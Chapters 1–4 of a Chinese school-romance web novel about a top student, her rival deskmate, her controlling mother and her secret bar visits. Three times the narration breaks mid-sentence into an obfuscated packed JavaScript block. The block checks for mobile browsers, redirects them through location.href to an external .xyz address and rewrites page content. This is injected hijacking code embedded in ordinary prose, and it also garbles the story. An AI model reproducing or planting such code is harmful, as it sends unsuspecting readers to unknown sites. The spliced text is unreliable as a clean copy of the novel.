《校规禁接吻但没说不能咬人》 1. 中二 新闻上说,2015年宜安或将迎来历史上最长一个夏天。 温知新按掉闹钟,翻身跪在床上,膝盖被凉席压出红印子后才认命起床。 她踩着拖鞋,去卫生间往脸上扑两把凉水,彻底清醒后坐到书桌前。 五点半。 文理分科后温知新一直这个时间起床,在家里刷一小时的题,然后再去上学。 转学来宜安之后也不例外。 卧室开着窗,风吹进来,温知新写了一个小时的化学题,出了一身汗,撂下笔去卫生间冲了个澡。 出来之后发现手机上多了四个未接电话。 第五个还在继续打来。 温知新呼一口气,滑开接通键,按下免提,换着校服说话:“对不起妈妈,我刚刚在洗澡,没有接到电话。” 手机里传来优雅从容的女声,“知道了,注意不要迟到,记得给我发照片。” “好的,妈妈再见。” 挂断电话后温知新打开相机,拍了一张带时间地点水印的照片发给了温倩。 六点四十,温知新出门,走到小区门口的包子铺买了两个肉馅包子。 一共五块钱。 她勉强能吃饱。 房子是温倩租的,骑自行车到一中七分钟。 温知新会在七点钟准时走进教室,变身透明人,在早读时偷偷写完一套物理试卷的选择题。 教室的前后两扇门都紧紧关着,温知新抬手推门,先被冷气扑了满脸,随后又听到振聋发聩的欢呼声。 下一刻,她被围了个水泄不通。 “让一让,都让一让!”许妄从人群里挤出来,手舞足蹈,眉飞色舞,慷慨激昂,用很不标准的播音腔说:“下面让我们隆重欢迎新!王!驾!到!” 其他人都很给面子的鼓起掌来。 温知新面色微震,惊讶地睁大双眼,“什么新王?” “你呀。”许妄笑嘻嘻地说,“前天联考的成绩出来了,你全区第一,比祁昂还高五分。” 祁昂,温知新知道。 成绩很好,人挺帅的,其他印象没有。 温知新恢复了表情,神色淡淡,总结道:“哦,我考了第一。” “……是。”许妄高涨的热情被温知新宠辱不惊的态度浇灭,他用手指挠挠脸,“你怎么不激动呢?” “我为什么要激动?”温知新不解。 虽然祁昂学习很好,但她成绩也不差,拿第一不是很理所当然的事情吗? “在你来之前,祁昂一直是第一名,从来没有人能考过他,你是第一个。”许妄比了个大拇指,“打破了反垄断的第一枪。” 温知新抿唇微笑,心想又是新王登基,又是反垄断,她到底是封建余孽还是革命家。 “那真的是我的荣幸。”她真诚敷衍道。 许妄笑着“呦呵”一声,“旧王来了。” “嗯,来惩处你这个封建余孽。” 一道男声从她的发顶传下来,很好听,干净清透,像初春温泉氤氲出的水汽。 温知新偷笑,悄悄抬头,冷不丁被祁昂垂下来的目光抓住了。 是一张和声音很相配的脸,五官俊秀。乌黑的短发下是漂亮的丹凤眼,眸子漆黑,冷冷淡淡地看过来。 “哎,你恼羞成怒也别对我呀。”许妄说。 祁昂走过温知新,手臂横到许妄脖子上,连人带声带一起拖走。 留下一道呜哇吱呀的乱叫,“旧王要残害平民,救命呀。” 祁昂面不改色往前走,宽大的手掌拍到许妄脸上,捂住他的嘴。 剩下的同学静默一刻,然后哈哈大笑。 温知新也笑,笑着笑着又被那道沉静的目光抓住,她心虚似的转开头,溜回座位,从桌洞里掏出本该做的物理试卷。 上午的数学课,老师前后点了祁昂和温知新,说两个人是这次区联考一中唯二数学满分的人。 温知新扭身回头,恰好祁昂也望向她。 对视之后两个人都没有移开视线,温知新大大方方将他看了个够,才不紧不慢地正过身。 确实帅。 大概全国成绩条都长一个样,姓名、总排、年排、班排,以及各科成绩。 温知新看着“温知新”三个字后面跟着的一串“1”,放心地舒了口气。 有了这个成绩之后,她就可以劝温倩女士不要在卧室安装监控器,至少不要这么快就安装。 温知新把成绩条夹回书里,手指一搓,发现下面还叠着一张。 可能是因为纸张太薄,所以第一张和下一张粘在了一起。 温知新将其分开,看清上面的字。 祁昂,2,2,2…… 温知新捏着那张成绩条走过去,祁昂从书里抬起眼,不明白她来找自己做什么。 温知新把成绩条递给他,“你的。” 祁昂微微挑眉,白皙清瘦又骨节分明的手夹住那张细细长长的纸条,盯着温知新的眼睛说:“谢谢。” 温知新嘴上说着“不客气”,目光却落在他看的书上。 她有个毛病,总喜欢看学霸们在读什么书,做什么题,然后自己也去买来读,买来做。 不知道祁昂看的这本她有没有看过。 这样想着,就见祁昂很大方地把书摊开到她面前。 温知新在密密麻麻的文字里提取出关键信息,张无忌和赵敏。 这人在看倚天屠龙记。 “……谢谢。” 祁昂说:“不客气。” 他低下头继续看书,温知新回到自己的位置继续做题。 写了两个课间,只剩下最后一道大题,是她最不擅长的电磁学。 盯着堪比命题作文长度的题干,温知新感到头脑在发胀,她摘下眼镜,决定把这两道题留到下一个课间写。 “知新,赵姐让你去一下她的办公室。”班长喊她。 赵姐,全名赵言心,英语老师,很年轻,脾气也很好,同学们都喊她赵姐。 “好。” 温知新应了一声,穿过长长的走廊,敲开尽头办公室的门。 赵言心看到她进来笑了一下,先问:“这几天还习惯吗?” 温知新点点头。 宜安学习强度没有云宁大,还挺好适应的。 “那就好,有什么问题及时找我。”赵言心抚平桌上的资料,说,“你是单亲家庭,是吗?” “是。” 得到肯定回答后,赵言心从桌上拿起一张纸给她,“这个你填一下,下午给我。” 纸上印着“宜安一中贫困生补助申请表”。 温知新说:“老师,我是单亲家庭,但是不贫困。” 温倩女士是一家小公司的高管,她爹搞艺术,有自己的工作室,每个月会按时按点打来生活费。 所以她家庭条件还不错,只是她的零花钱有点少而已。 赵言心因为她的诚实笑了一下,解释道:“这是学校单独给单亲家庭的补助。”她往前倾了下身子,低声补充:“一个月就二十块钱,学校评奖用的,不占贫困生名额。” 知道不会挤掉真正的贫困生之后,温知新才放下心接过那张申请表,“知道了,谢谢老师,我下午填好给你送过来。” “嗯,去吧。” 温知新关上门离开办公室,再次穿过走廊,走到班级前门的时候脚步微顿。 她看到一高一矮两个人站在那里,数学老师背对着她,和对面男生交谈。 “听你们班主任说,你不打算去江大数学英才班了?是发生什么事情了吗?进国家集训队拿奖很不容易,老师希望你好好想清楚。” 温知新抬眼看过去,祁昂背倚着门框 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076198|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,光勾勒出他英挺的侧脸,他垂着眼睛,静静听数学老师把话说完。 然后才开口,“张老师,对我来说数竞没什么不容易的,放弃也不可惜,我只是想正常参加高考而已。” “参加高考和同意保送不冲突。” “我不喜欢有后路。” “……”张老师明显被气到了,两手叉腰,马上就要开始输出。 数竞没什么不容易的。 温知新冷不丁听到这么一句狂到没边的话时,心中不禁冷笑几声。 在云宁的时候她也参加了数竞小组,只可惜两年都只拿到了银牌。 当付出全部精力后仍然获得相同结果时,她就明白有些差值需要用天赋来补平,而非努力。 但很遗憾,她不是那种拿了金牌却说不好玩就撂笔不干的天赋型选手。 温倩觉得竞赛分走了她太多的精力,于是下令她不准再参加任何学科竞赛,一心准备高考。 “温知新,你鞋带散了。” 祁昂的声音突然响起,温知新匆忙低头去看。 骗子,哪里散了。 温知新抬头去看祁昂,却发现他已经进了教室。 反倒是张老师因为他那一声“温知新”的对话注意到了她。 于是他暂时放过了祁昂,转头问温知新,“知新在之前学校参加过竞赛吗,有没有兴趣啊?” “……” 温知新明白祁昂为什么突然喊自己的名字,合着把她当成吸引火力的目标了。 看着张老师希冀的眼神,温知新摇头,射“不好意思,老师,我对竞赛完全没有兴趣。” 两个有天赋的满分学生,一个觉得竞赛很容易,拿到成绩后说放弃就放弃;另一个则完全没有兴趣。 张老师心说这算什么事情,只能叹气离开。 温知新也回了教室,充足的凉气扑了一身,褪下燥热后,她的心情稍微好了一点。 坐到座位上,她把申请表往桌上一放,抱臂,盯着讲台上的祁昂。 他刚帮一个女生擦完黑板,正接过女生递来的湿巾,一点一点擦去手指上的粉笔末,眼神却毫不遮掩地看向温知新。 温知新瞪他一眼。 祁昂低头,漫不经心地笑了一下。 他的座位在最后一排靠窗,明明可以直接走最左边的空道回去,但他非要绕个远,从温知新旁边走。 走路带起的风吹乱桌上的纸,那张申请表飘起来又落下,砸到祁昂的鞋面,挡住了他的步伐。 祁昂弯腰捡纸时表情有一瞬间的怔愣,下一秒又恢复如初,将申请表递回温知新。 这回没人说谢谢,也没人说对不起。 上午最后一节课是语文,温知新偷偷把最后一道物理题写完,一身轻地走去了食堂。 宜安口味偏辣,在云宁生活了17年的温知新完全吃不惯。 转学五天,她在学校吃了十顿饭,没一道不辣的。 温知新不信邪,又打了两道新菜品。另外今天早上吃的两个包子早就消化完了,她现在饿的前胸贴后背,所以打了六两米饭,看上去跟小山一样。 她找了一张空桌子坐下后,温知新觉得这么吃肯定会噎死,于是又排队去拿了一碗免费的蛋花汤。 一切都准备就绪后,温知新迫不及待夹起一筷子菜,毫不设防地大口咀嚼起来。 辣具象化成了锋利的针或者刀刃,在温知新的舌头,口腔和喉咙划出不会流血的伤口,但伤口很痛。 温知新想喝口蛋花汤冲淡辣味带给自己的刺激,结果汤是烫的,进到嘴里简直和火上浇油没什么区别。 她低着头,眼眶接连滑落两滴生理性泪水,亮晶晶的,晕开在红油里。 被辣的。 接着一包纸巾出现在她的视线中,温知新吸着鼻子抬头,只看见祁昂渐远的背景。 2. 纸巾 夏季校服没有口袋,温知新只能把那包纸巾攥在手心里,爬楼的时候刚好碰到祁昂。 她上楼,他下楼,正午热烈的阳光笼罩在两个人身上。 绿白相间的校服相同,发丝也闪着相同金色的光。 “纸巾还你。”温知新摊开手心。 祁昂低头看了一眼,说:“不要了,你留着用吧。” 温知新也跟着看了一眼,纸巾被她握在手心里,包装沾了一些汗水,八个角也有些皱。 他应该是嫌弃,所以不想要了。 不要算了,温知新决定留下自己用。 祁昂迈着长腿离开,似有所感地仰起头,恰好碰到温知新扶着栏杆往下看的目光。 温知新眨眨眼,声音清脆,“祁昂,你鞋带散了。” 祁昂低头去看,鞋带规规矩矩绑在白色球鞋上,他重新看回温知新,只看到她的背影,高马尾荡来荡去,看起来很愉快。 报了祁昂早上把自己当吸引火力目标点的仇之后,温知新心情大好,哼着歌走回教室。 除了温知新以外,教室里还有两个男生,聚在一起讨论题,两个人看见她进来后声音不自觉变小,然后就开始相互推搡。 你来我往地,一张数学试卷就平铺在了温知新眼前。 其中一个高个儿男生红着脸说:“知新,你现在急着回家吗?” “还好,是有题需要一起讨论吗?”温知新停下收拾书包的动作。 “嗯,这道题,能不能麻烦你给我们俩讲一遍,张老师上课讲的太快了,我们两个没听明白。” 温知新说:“好。” 她组织了一下语言,放慢语速给两个人讲起来。 温知新声音偏冷挂,有点少年音,讲题思路又很清楚明白,很容易让人听进去。 两个男生说:“完全听懂了,谢谢你。” 温知新笑了一下,“不客气,那我就先收拾东西回家了。” “拜拜,下午见!”高个儿和矮个儿一起挥手。 温知新在桌子上翻了好几下才找到那张贫困生申请表,装进书包后也和高矮个儿挥手,“噔噔噔”离开了教室。 她的背影纤细挺拔,高马尾一甩一蹦,浑身泛着金灿灿的光。 一中午休时间两个半小时,温知新会在这个时间段里写点短篇小说。 温倩给她的生活费用来吃饭是够的,但奈何温知新有些花钱小爱好,比如喝酒,比如买很多彩色衣服。 非学习类的要求,温倩女士是不会批钱的。 温知新就自己想办法,刚好她会写一点我爱你你爱她她爱他的圆圈文学,虽然赚不到大钱,但两杯酒钱还是能挣到的。 下了晚修,骑自行车到地铁站后,她才把成绩条发给温倩,目的很明确,让她晚上不要给自己打电话查岗。 裹着燥热的风吹过来蒸出一身汗。 地铁呼啸而至,行人下下上上,温知新塞上耳机,坐到制冷最强的那节车厢里。 四站,十六分钟,她在大学城站下车。 走出地铁口,温知新将校服外套脱下来塞到包里,随手将校园卡放进书包外侧的口袋,又将腕间的手表关机。 短袖又刚好盖住校裤上的logo。 她藏起高中生的身份,走进热闹的大学城。 躲过烟火气的小吃摊,穿过紧密排在一起的各色奶茶店,最终停在一家酒吧前。 白色的灯条拼出“夜色”两个横平竖直的字,门前立着一块牌子,写着:今日打烊时间看心情。 温知新推开门的一瞬间,扑过来的重金属摇滚乐盖过耳机里的音乐声,震的她耳朵疼。 灯光昏暗,吧台、圆桌和卡座泾渭并不分明,哪里都有人,哪里人都不多。 温知新觉得夜色没多少顾客纯属是被音乐震跑的。 她坐到吧台前,把书包放到另一张高脚椅上,一个戴着无框眼镜的高瘦女人走过来打招呼,把酒单递给她。 宋远航说:“这次来这么早。” 温知新很不挑,点了两杯最便宜的酒,一本正经说:“因为我待会儿还要回去刷题。” 宋远航嗤嗤嗤笑起来,弹了下她的脑袋,“小高中生。” 小高中生温知新小口喝着酒,灯光掠过她,嫩黄的T恤袖口里延伸出一截白玉般的手臂,高马尾垂下来一点,但并不妨碍她依旧青春活力。 宋远航去后面清点酒水,让服务生给温知新送去两碟零食和一块蛋糕。 服务生是个青皮寸头,被亲爹家暴,念不下去高中,索性辍学出来打工。 平常爱写点酸诗,来夜色第一天就碰见温知新,两个人相谈甚欢。 这里每个服务生都有个艺名,写在胸前铭牌上,青皮寸头也有,是温知新取的。 因为他总管她叫小新,所以她就喊他正男。 “小新,你来啦。” “晚上好,正男。” 两人一个坐在吧台外,一个站在吧台里,滔滔不绝讲起话来。 因为酒吧的音乐声大,所以他俩离得有些近,宋远航瞥这两个小孩一眼,笑笑没说话。 正男说:“我看蜡笔小新了,我和正男一点也不像。” 温知新无所谓地耸肩:“我和小新也不像。” “我想叫风间。” “单独定制铭牌十块钱。”宋远航说。 “我就叫正男。” 温知新低头咬着吸管笑起来。 旁边卡座在过生日,音乐声渐弱的时候,欢呼雀跃的人声就顶上来。 温知新偏头看过去,很多人簇拥着坐在中心位的男人。 灯光扫过桌上的酒,红的白的洋的,加起来大六位数。 怪不得今晚宋远航心情这么好。 温知新没在夜色待很久,坐了半个小时就要走,港好正男换班,宋远航干脆让两个人一起回去。 “我先去洗个手。”温知新说。 她刚才吃薯条薯片,指尖沾了一层碎渣,正男就在外面等她。 惨白的灯光照下来,好像任何污秽都无处遁形,冰凉的水流过手背,温知新看着镜子里的自己。 皮肤很白,于是眼下的黑眼圈就有些明显,不过依旧拦不住她迸发出的生机勃勃。 温知新擦净手,想不起自己上一次在十二点之前睡觉是在哪天。 “高考完怒睡三天三夜也没关系,再坚持一下吧温知新同学。”温知新莫名其妙在洗手间给自己打了一通气。 洗手间的纸巾用光了,温知新索性湿着手走出去,看到在走廊的尽头,逆光站着一个男生,身形高瘦挺拔,面容不太清晰。 温知新以为是正男,还未走近就开口:“正男?不是说好在外面等我吗?” 正男没接话。 温知新疑惑着走近,看清男生的长相后,脚步一顿。 不是正男,是祁昂。 穿着一件黑色T恤,单肩挎着包,神色淡淡。 尖子生、人气王、旧王、班长、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076199|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生会主席。 温知新思绪纷飞,想到一中最近在严抓学生进网吧打游戏。 班里已经有好几个落网的同学,许妄也是其中之一,据说还是祁昂大义灭亲一举歼灭的。 网吧不让进,那酒吧能吗? 温知新望着那双漆黑的眼睛,有点害怕对方也“歼灭”自己。 她倒是不怕被抓,只是听说被抓之后不仅要写检讨还要请家长。 温倩要是知道她大晚上的不回家写作业,而是来酒吧喝酒,估计会给她全身上下都安上监视器。 走廊的光更柔和,白色薄纱一般笼下来。 温知新将食指竖在嘴唇前,做了个噤声的手势。 此时音乐已经从摇滚乐换到抒情曲,女歌手的声音缠绵婉转。 她的声音更显清脆,像冰块撞进柠檬水。 “班长,帮我保密。” 祁昂应该是想说话的,但是正男的声音横插了进来,“小新,你怎么洗这么久的手,还回家吗?” 温知新没应正男,只是看着祁昂,他脸上也没什么表情,俊朗的五官更显薄凉。 “我不是保险柜。”他说。 “……” 温知新面上不语,腹诽你要真是保险柜才好了呢。 祁昂又说:“你手上的水滴在我的衣服上了。” 温知新低头,仔细辨别,发现他的黑色T恤的下摆确实有几点水渍。 但真的就是几点,比绿豆还小。 眼真尖呢,大班长。 “不好意思。” “明天上学别迟到。” 然后一张纸巾被拍到温知新的手里,祁昂转身离开。 所以,这算放过她了吗? 温知新眨眨眼,慢吞吞擦净手。 正男忍不住进来找她,看见她跟傻子一样站在原地发呆,“嘿”了一声,“还走吗?” “走走走。”温知新说。 她将纸巾团成球丢进垃圾桶,手指勾起书包往身后一甩,离开了夜色。 其实温知新和正男并不同路,只是宋远航交代了正男让他把温知新安全送到家,那他就要做到。 走出酒吧,巷子里的路灯昏暗,两个人的影子投射到地面上,拉长又变矮。 “不用送了。”温知新说,“来回要一个小时呢,我自己回家就行。” “但是航姐说要我送你回家。” “航姐还说要你少吃点零食呢,也没见你那么听话。” 被戳穿的正男不说话了。 两个人就无声对峙着。 “就这样,你回你家,我回我家,下次见。” “那你安全到家要给我发信息。” “没问题。” 温知新和正男挥手,目送他离开,把耳机重新塞回耳朵里,走进地铁站。 英语新闻涌进脑子里的那瞬间,温知新忽然想不明白,为什么自己要那么害怕祁昂告状? 他不是也在酒吧吗? 如果把她告老师的话,他怎么脱身? 总不能说自己在钓鱼执法吧,谁会信呢。 早知道就硬气一点了。 “下一站,宜安一中站。请要下车的乘客在列车前进方向左侧下车。” 温知新随着人流下车,回到出租屋,先洗了个澡,随后开始做题。 从十点到十二点。 被物理折磨到头昏脑胀,画完粒子的运动轨迹后,温知新愤然摔笔,栽到床上,倒头就睡。 3. 同桌 五点半。 温知新照常起床。 洗漱,写题,接温倩的电话,吃早饭,去学校。 推着自行车走进学校大门时,温知新才明白祁昂说的“明天别迟到”是什么意思。 这人带着学生会的臂章站在大门口查迟到,深绿色的校服平整合身,站在清早的风里,眉眼清疏,表情淡淡,脊背挺直,好像雪山之巅的柏树。 温知新暂时不想看见他,于是埋头疾走,奈何有个很热情的平民拥护者,隔着很远就喊她。 “温知新!温知新!你要去车棚吗?一起啊!”许妄咧着八颗大白牙就追了上来。 温知新第一反应不是回头,而是去看祁昂。 祁昂没看她,他在忙着记人名。 一个女生见今天是他值岗,匆匆脱了校服外套走过去,被拦住时装作懊恼但又窃喜地写下自己的班级和姓名。 许妄追上温知新,也看到了那一幕,笑:“就是阿祁是火坑,也会有大批人前仆后继去赴汤蹈火。” “挺好的。”温知新说。 许妄说:“马上也会有人为你赴汤蹈火了,新王陛下。” 温知新:“……” 能不能别让中二病重度患者说话。 “我说的不是祁昂。”温知新还是解释了一句。 她永远不会在学校里脱下校服,老师评价那一栏写的永远是安静乖巧。 温知新觉得比起听话这种评价,还是循规蹈矩更适合自己,她不会挑战权威打破既有规则,只敢在方圆之外作威作福。 温倩女士曾无数次对她耳提面命:要拎得清,要知道自己在这个年纪该做什么。 她的青春将会献祭给高考,勇敢将付出在与物化对抗的深夜,而冒着违纪的风险只为让喜欢的男生记得自己的名字这件事,十七岁的温知新做不到。 “啊?那你说的是什么?”许妄不懂。 温知新笑了一下,“没什么。” “行吧。”不把话说明白是王的共性,许妄和祁昂做了十几年朋友深受其害,已经习以为常,“普通人和天才确实是有壁的。” 天才。 温知新笑笑没反驳。 升高中之后,她做过的题摞起来比许妄还高,为一道题熬到两点都是常有的事,这也算天才吗? 那天才也太苦了。 “温知新。”这一道清冷冷的声音是祁昂的,温知新和许妄一起停下脚步。 “?”温知新不解,她穿校服了,也没有迟到,拦她干什么。 隔着不远不近的距离,温知新站在原地,祁昂也停下手中的笔,静静等着她走过来。 温知新受不了这种气氛,特别像两个人在吵架闹别扭,可他们根本没有熟到可以吵架的地步。 “干什么?” 祁昂朝她摊开手。 他的手心里安静躺着一张校园卡。 人像那面朝上,扎着高马尾的女生目视前方,没有表情的脸显出几分倔强来。 温知新面露惊讶,问:“我的校园卡怎么会在你那儿?” 祁昂挑眉不语。 温知新瞬间明白,肯定是她昨晚落酒吧被他捡到了。 她匆匆把卡收进校服外套口袋里,警告似的瞪祁昂一眼。 祁昂漫不经心的笑了一下。 装什么,温知新想打他。 “我们回教室吧,马上早读了。”许妄和温知新说。 “你还在乎早读?”祁昂问。 “我要补作业啊啊啊!”许妄暴躁起来,“我死都不会理解李总为什么会留两套试卷,谁写的完啊?!” 温知新揉揉耳朵,她也死都不会理解人怎么可以每一句话都带着感叹号。 “你写没有?”许妄问祁昂。 祁昂说:“写了,但你休想。” “知新。”许妄点到为止。 “回教室给你。” “我就知道你人好,怪不得你能考第一呢,这都是你应得的,我们快回教室,留自私冷血的祁昂自己在这里晒着吧。” 祁昂不说话,只是拿起笔,作势要写许妄的名字,许妄扑上去拦住他。 “错了,祁哥,你最大方热情了。”许妄嘿嘿一笑,“知新,快走快走。” 两个人告别祁昂,推着车奔向车棚。 上午第一节就是生物课,李老师要讲昨天留的两套试卷,但她没带,所以随机拿了一个学生的。 刚好是许妄。 许妄昂首挺胸地把试卷呈了上去,对上温知新的眼神后,给她比了个大拇指。 温知新笑一笑,然后就见李老师大致浏览了一遍试卷后,说:“做的还不错,只是有几个小毛病不该错,生物第一名可不能这样粗心,下次注意。” 生物第一名。 温知新慢慢转动脑袋,睁大双眼盯着许妄,许妄无声咧嘴,嘿嘿一笑。 “……” 下次让人抄作业之前她一定做好背景调查。 她再不会让这种不写作业就能考第一名的人玷污自己的成果了。 - 课间温知新去了趟厕所,回来发现高个儿站在自己座位旁边。 正在用一种很期盼的眼神看着自己。 以至于她有些不敢往前走。 温知新背手关门,一双大手横插进来,青筋明显。 她回头,在门缝里看见祁昂的眼睛,目光淡薄到几乎有些冷漠。 是温知新从没见过的冷漠。 好像她做了什么错事。 温知新迅速收回手,祁昂就从外面推门而入,轻描淡写地看了她一眼,然后走回自己的座位。 ?谁又惹他了。 在装什么。 高个儿见温知新回来,立刻把一个绿色包装的盒子亮出来,“这个巧克力很好吃,送给你,谢谢你昨天给我讲题。” “都是同学,互相帮助是应该的。”温知新说,“巧克力我就不收啦,我不太喜欢吃甜的,谢谢你。” 她知道这个巧克力品牌,有点贵,远超讲一道题的价值。 一次不等价的交换,会带来后面无穷次的交换,她不想惹这个麻烦。 而且更重要的原因是,她和高个儿同学压根就不熟,具体表现在她都不知道他叫什么。 “这个不甜的。”但高个儿坚持要送,“你尝尝。” 温知新眨眨眼,还是没接。 “哎哎哎,我爱吃巧克力,你给我吃吧。”矮个儿路过,看到两个人僵持,直接把高个儿拉到了最后一排。 高个儿有些生气:“你干嘛?” 矮个儿给他分析:“人家一看就是那种不爱说话的乖乖女,说不定都没有怎么和男生说过话,你这么着急地凑上去,吓到她更不理你了。” 高个儿思考一番,觉得矮个儿说的有道理,把巧克力往他怀里一拍,“知道了,你吃吧。” 祁昂静静听他们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076200|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说着话,不紧不慢翻过一页杂志。 许妄随手拉出一张椅子反坐,手肘压主祁昂桌上的书,“赵姐喊你说什么了?去科技大赛的人选?” “不是,整理贫困生名单。” “都学期末了贫困生名单还能变吗?”许妄说,“没别的事情了?” “晚上换座位,单人单桌变双人同桌。”祁昂神色淡淡。 许妄对此消息接受良好,甚至满怀希冀,“随便坐还是老师排?” “老师排。” 许妄“噢”了一声,“你已经看到座位表了吗?谁和新王坐一起啊?” 祁昂说:“不知道。” “知新和祁昂一起坐最后一排没问题吧?”赵言心身后的多媒体上放着双人同桌的座次表,“你刚来,有不懂的可以直接问祁昂。” 当着其他三十五名同学的面,温知新说不出来“不行”两个字。 她点头。 开始换座位,教室里马上热闹起来,大家边搬桌子边聊天。 只有温知新和祁昂,沉默到能冻死路过的蚂蚁。 整个晚修两个人只说了两句话。 一人一句。 祁昂问:“你坐在里面还是外面?” 温知新说:“里边儿。” 温知新对情绪很敏感,况且冷淡和冷漠是很容易区分的态度。 不知道祁昂为什么突然对她这样。 但是没关系,反正她也没想和他做朋友。 温知新筛选了一遍自己的书,把要用的习题册摆到桌子上,没有用的放回教室后面的书柜里。 祁昂的课桌很干净,就摆了一本练习册和一根中性笔。 他正悠闲地看着杂志上的言情小说。 两张拼起来的课桌中间有一道缝隙,那是警戒线,是鸿沟,是天堑。 温知新和祁昂都不约而同地刻意不去越过那道缝隙,不管是手臂还是目光。 温知新埋头苦写了一整晚的圆锥曲线专题,算数算到她想死。 揉肩捶背的间隙,她不经意往祁昂那边扫了一眼,发现这人还在看杂志。 温知新看过祁昂的单科成绩,每一科都是亮眼的好,甚至在她来宜安之前,他一直是第一,全校,全区,全市。 所以第一名在晚修的时候只看杂志,还是我爱你你爱她她爱他的圆圈文学。 温知新觉得自己被椭圆双曲线和抛物线折磨的头脑更疼了。 不动声色地往里挪了一下,离墙更近,离祁昂更远。 放学时下起了雨,而且雨势越来越大。 教学楼一层中厅挤了很多学生。 很多人没带伞,温知新是其中之一。 很多人的家长都来接自己的孩子,温知新不是其中之一。 但她还是需要在十点前坐到书桌前,完成今晚上的学习任务。 雨天骑车不是个好选择,她决定跑回出租屋。 跑快点儿的话,只需要十五分钟。 书包还可以为她挡一些风雨。 温知新率先跑出去,全身瞬间被淋湿,她举着书包,在不甚清晰的路灯的光下跑向出租屋。 雨丝如帷幕,宽敞的道路上车辆如流水。 一辆低调的,周身漆黑但泛着冷光的黑色轿车停到温知新身边。 车窗缓缓降落。 一双眼睛透过雨幕。 她听见车里的人喊自己。 “知新。” 4. 冷战 雨越来越大,温知新勉强认出车里坐着的是一个女生。 短发,穿着一中的校服。 叫姜寐,是她们班里的文艺委员。 姜寐喊她上车,“雨太大了,上车送你回家吧。” 温知新说:“不用,我家就在前面。” 姜寐坚持:“那也没有车快呀,上来吧。” 温知新:“我已经淋湿了,而且会弄脏车里。” “哪有什么的。”姜寐说,“车又不会感冒,但是你会,上车吧。” 副驾驶的门应声打开。 温知新无法拒绝,只好道谢进车。 后面伸过来一只手,递给温知新一条毛巾。 “谢谢。”温知新擦了擦头上和身上的水,才发现后排坐了两个人,姜寐旁边还有个男生。 皮肤颜色是没血色的白,瞳色是很浓郁的黑,盯人的时候像鬼魅。 温知新只草草看了一眼,就收回了视线。 “知新住在哪里?”姜寐问。 温知新说:“书香别苑。” “好,直接去书香别苑。”姜寐吩咐司机。 司机说:“好的,小姐。” 温知新又说了一遍谢谢。 姜寐笑:“不客气不客气。” “你是从哪里转学来的?”姜寐问。 温知新说:“云宁,北方的城市。” “怪不得你说儿化音那么熟练,你有时间的话能不能教教我。”姜寐凑过来,很认真的讲了一句带儿化音的话,“一儿起儿玩儿。” 温知新忍笑纠正她:“一起玩儿。” 姜寐也被自己逗笑,哈哈哈笑着又靠回座椅靠背,透过后视镜看着温知新,“好啊,一起玩。” 字正腔圆,比刚才还认真。 温知新愣了一下,目光蓦然放软,她张张嘴。 姜寐立刻说:“不要说谢谢了,你怎么比傅云星还礼貌。” 被提到的傅云星缓慢地眨眨眼,很轻地打了姜寐一拳。 姜寐嘻嘻笑。 司机直接把温知新送到了单元楼门口,姜寐和她说再见,又拍了傅云星一下,于是傅云星也幽幽地说拜拜。 “拜拜,明天见。” 回到出租屋,温知新先洗了个热水澡,头顶毛巾给温倩发信息,然后喝两包感冒冲剂,坐到书桌前开始写题。 屋外狂风暴雨,紧闭的窗户布满雨痕,屋内只有水壶汩汩声和笔尖擦过纸张的声音。 温知新算来算去,觉得带电小球好像长翅膀,在自己眼前飞来飞去。 “讨厌死了,不会说话吗?” 她小声嘟囔,不知道抱怨给谁听。 今晚注定写不成动脑子的学科,温知新歪倒在床上,倚着床头,捧着一本不知道从哪里翻出来的地摊文学读物看起来。 卧室只开着一盏落地灯,温知新看着书中女主质问男主究竟爱不爱自己时,一个身影在脑中晃过。 那个人坐的很直,看了一整晚的言情小说。 她忽然也想质问他,究竟花多长时间在学习上。 灯开了一整晚,光已经变得似有所无,温知新迷迷瞪瞪起床,不知道自己昨晚几点睡的。 她起床,发现自己的嗓子哑了,关灯去洗漱后,坐到书桌前。 桌上摆着昨晚没写完的题,她动动手指,抓起笔,还没写字,先打了几个喷嚏。 完蛋,真要感冒了。 温知新找到一盒药,看清没有过期后装进了书包里,打算吃早饭之后再吃药。 把昨晚剩下的题和今天早上该写的题都做完后,已经六点五十。 温知新慌忙穿上校服,给温倩发了报备照片后,拿上书包飞奔下楼。 一路狂跑到学校,噔噔噔又爬五楼,进教室时铃声刚好响起。 温知新坐下后平复气息,发现身边的位置是空的。 许妄坐在她前桌,侧身解释:“阿祁昨晚淋雨回家,发烧了,今天请了假。” 温知新点头,表示自己知道了。 